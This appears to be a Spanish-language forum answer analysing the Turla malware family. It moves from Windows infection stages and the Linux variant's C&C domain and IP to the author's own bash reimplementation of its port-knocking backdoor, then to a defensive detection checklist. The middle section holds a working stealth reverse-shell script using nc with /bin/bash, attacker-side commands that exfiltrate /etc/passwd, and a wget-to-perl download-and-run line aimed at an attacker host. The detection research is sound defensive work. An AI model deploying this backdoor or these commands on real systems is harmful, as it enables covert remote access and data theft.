TURLA es la etapa final de una gran y sofisticada familia de malware. Se conocen versiones de Windows desde al menos 2010. Esta presentación de 40 páginas es el recurso más completo que he visto, para cualquiera de las plataformas.
TURLA - desarrollo y operaciones
Algunos aspectos destacados de Windows
- Etapa 0:etapa de ataque - vector de infección
- Etapa 1:etapa de reconocimiento - puerta trasera inicial
- Etapa 2:movimientos laterales
- Etapa 3:acceso etapa establecida -TURLA desplegada
- En cada etapa pueden renunciar si pierden interés en el objetivo
Etapa 0:Vectores de Inyección
-
Suplantación de identidad (Spear Phishing) (CVE-2013-3346)(CVE-2013-5065)
-
Watering Holes [Exploits de ingeniería social / Java de actualización de Adobe (CVE-2012-1723), exploits de Adobe Flash o exploits de Internet Explorer 6,7,8]
-
Compromiso de proveedores externos
Etapa 1:Etapa de reconocimiento
-
Puerta trasera inicial:WipBot/Epic/TavDig
-
WipBot es una combinación de un exploit de día cero y CVE-2013-3346
-
Exporta funciones con los mismos nombres que TURLA. No hay otras similitudes
-
Rompe la depuración y la mayoría de los sandboxes de malware
-
El proceso salta varias veces, borra su propia sección PE
-
Más descrito en el informe de Kaspersky Lab
Etapa 2:Movimientos laterales
-
Refinar C&C
-
Penetrar aún más en la red
-
Utilizar una puerta trasera nueva
-
Obtiene credenciales de administrador de dominio
Etapa 3:Turla
-
Soltado en máquinas seleccionadas para compromiso a largo plazo
-
Las máquinas pueden verse comprometidas durante años sin ser detectadas
Otros recursos
-
El 'Penguin Turla' - Kaspersky Lab (detalles específicos de Linux)
-
Informe de Symantec - Turla
Aspectos destacados de Linux
-
Módulo Turla escrito en C/C++
-
Basado en cd00r
-
El ejecutable está vinculado estáticamente contra múltiples bibliotecas
-
Su funcionalidad incluye comunicaciones de red ocultas, ejecución de comandos remotos arbitrarios y administración remota
-
Gran parte de su código se basa en fuentes públicas
-
No puedo ser detectado con netstat
-
no requiere acceso de root
Características ejecutables de Linux
- Ejecutable ELF LSB de 32 bits, Intel 80386, versión 1 (SYSV), enlazado estáticamente, para GNU/Linux 2.2.5, despojado
Bibliotecas enlazadas estáticamente de Linux
-
glibc2.3.2 - la biblioteca GNU C
-
openssl v0.9.6 - una biblioteca OpenSSL más antigua
-
libpcap - biblioteca de captura de red de tcpdump
Detalles de C&C de Linux
-
El C&C de la primera etapa está codificado. Actividad conocida @ news-bbc.podzone[.]org
-
IP pDNS:80.248.65.183
Detalles de inicio/ejecución de Linux
-
El proceso requiere dos parámetros:ID (un valor numérico utilizado como parte del "paquete mágico para la autenticación") y un nombre de interfaz de red existente
-
Los parámetros se pueden ingresar de dos maneras diferentes:desde STDIN, o desde el cuentagotas y lanzando la muestra
-
Después de ingresar la ID y el nombre de la interfaz y de iniciar el proceso, se devuelve el PID del proceso de la puerta trasera
Paquete Mágico de Linux
-
Vincula estáticamente bibliotecas PCAP
-
Obtiene socket sin formato, aplica filtro, captura paquetes
-
Busca un número ACK en el encabezado TCP o el segundo byte del cuerpo del paquete UDP
-
Si se cumple la condición, la ejecución salta al contenido de la carga útil del paquete y crea un socket normal
-
Backdoor usa un nuevo socket para conectarse a la dirección de origen de Magic Packets
-
Backdoor informa su propio PID e IP, espera recibir comandos
-
Los comandos que llegan se ejecutan con un script "/bin/sh -c"
Notas finales
Todo lo relacionado con la versión de Linux fue del informe de Kaspersky. Desafortunadamente, la detección parece ser muy difícil en este momento.
"Aunque se sabía que existían variantes de Linux del marco Turla, aún no hemos visto ninguna". - Laboratorio Kaspersky
Cómo funciona esto:
Introducción corta
Para encontrar una manera de detectarlos, he trabajado mucho en torno a conceptos y métodos.
Para esto, rápidamente escribí un pequeño script de bash que funcionaba aproximadamente de la misma manera.
A partir de ahí y con algunos conocimientos adicionales sobre los conceptos de Un*x, publico mi lista de verificación que podría ayudar a encontrar este troyano funcional en cualquier sistema.
Bash reescribió Tocar la puerta de Turla
Para entender cómo funciona esto, escribí esto:
(Esto debe ejecutarse en el host de destino, mediante algún exploit remoto, virus u otros).
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
Esto no es totalmente indetectable pero...
Características
- Totalmente indetectable usando
netstat
, mientras escucha las conexiones del atacante. - Utilice [In->Out] como [RANDOM->80] puertos tcp para que la conexión se vea como cualquier navegación conexión.
- Espere una IP específica (hash, por lo que no se puede leer) en el puerto local 22, sin usando promiscuo modo ni requiere root privilegio
- Una vez detectada una conexión entrante desde la IP específica (¡Toc! ), esto abre una conexión a esta IP, en el puerto 80 para que parezca una conexión de navegación y ofrece una fiesta , de vuelta en esta conexión.
Esto acepta 4 argumentos:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
es hash de atacante salado 'sorbo. Podría representarse usandomd5sum <<<SaltMyIP192.168.1.31
(La sal se puede cambiar en el script).KnockDoorPort -> bport
es cualquier puerto ya vinculado, utilizado en el host de destino (22 para muestra si el destino sirve SSH, pero se podría utilizar cualquier puerto abierto)myPort -> rport
es el puerto del atacante local utilizado para la conexión entrante (80 para que parezca una conexión http saliente. ¡Por supuesto que el atacante debe ser root en su host!)-i
la bandera podría usarse para ejecutarbash
interactivamente
Paso de infección
-
El primer paso es ejecutar este script usando cualquier exploit remoto, como
shellshock
o cualquier desbordamiento de búfer . -
En segundo lugar, el atacante debe conocer la IP del objetivo para enviar un
knock door
en el puerto 22 -
Usar de IP del atacante (como raíz para escuchar en el puerto TCP 80), espere la conexión entrante del objetivo.
-
¡Estás registrado en un caparazón en el objetivo!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Muestra:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
o
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
No tan fácil de detectar
Mientras la secuencia de comandos sigue ejecutándose en el host de destino y no hay ninguna conexión del atacante abierta, la secuencia de comandos en ejecución no es visible mediante el uso de netcat
.
Knock
se realizan una vez en el puerto 22 donde fallar muchas conexiones es regular . La conexión de shell real se parece a cualquier conexión http saliente.
Respuestas:
¿Cómo se infectan las máquinas Linux?
Este es un troyano , por lo que esta pregunta realmente no importa... (ver Shellshock, para una muestra)
¿Hay alguna escalada de privilegios involucrada, o todo sucede solo bajo el usuario infectado (es decir, uid 1000)
No, uno de los objetivos de esto es permitir que el atacante busque una forma de hacer una escalada de privilegios .
¿Dónde "vive" el código de malware en la máquina infectada
-
En todas partes y en ninguna parte:si ejecuta esto como un archivo adjunto, puede saber dónde los ha almacenado. Si se ejecuta desde un exploit remoto, podrían eliminar el binario una vez ejecutado.
-
Si Turla es un binario (escrito en C), que tienen para almacenarse en algún lugar de su sistema Un*x, con banderas ejecutables configuradas para ejecutarse. El sistema de archivos reciente permite eliminarlos después de ejecutarse, ¡pero el inodo debe permanecer intacto!
Esto podría revelarse al buscar binarios que se ejecutan en su sistema pero que se encuentran en estándarPATH
. -
Si troyano es un script, solo el binario debe estar vinculado en el sistema de archivos, por lo que el script podría eliminarse o incluso ejecutarse como
STDIN
y no se almacena en absoluto.
wget -qO - http://attacker.example.com/virus.pl | perl
-
más cualquier otro detalle interesante
Por favor, pruebe mi script bash...
Lista de verificación (agregada:2015-02-04)
-
Buscar bifurcado pids (donde Padre Pid ==1)
grep PPid:\\s1$ /proc/*/status
-
Busque procesos que no ejecuten binarios desde
PATH
for pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
-
Buscar proceso en ejecución durante mucho tiempo
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
-
Script:busque el proceso que hace una especie de ocultación:compare
exe
ycommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
-
Usando
apparmor
, puede observar el proceso que accede a tcp stack (y/o pila UDP ). -
Usando
tcpdump
, hay un trabajo fuerte, pero una solución eficiente:Esté atento a salientes conexión que realiza cualquier tipo de solicitud, se convierte en una respuesta no necesariamente inmediatamente después, pero enviar la siguiente solicitud inmediatamente después de recibir la primera respuesta, no se preocupe por la respuesta de la última solicitud:se cerrará cuando reciba
exit
directiva, diciendo algo comologout.
, que podría conducirse como la última solicitud http de la sesión actual , pero cerrar antes recibiendo cualquier respuesta http .De hecho, debe encontrar una conexión saliente donde los intercambios de datos no coincidan con el esquema normal de conexión saliente, sino con un esquema híbrido de inicio del servidor - conexión entrante - parada del servidor .
Por supuesto, esto tiene que ser atrapado porque ninguna conexión está permanentemente abierta.
-
Hacer estadísticas de llamadas al sistema (usando apparmor)
gracias a alphanet por esta idea
Crea estadísticas para cada proceso en ejecución y
Envíelos a una herramienta bayesiana para calcular perfiles regulares
Para recibir una alerta cuando un nuevo proceso no coincida con perfiles regulares (o incluso cuando cambia un proceso en ejecución).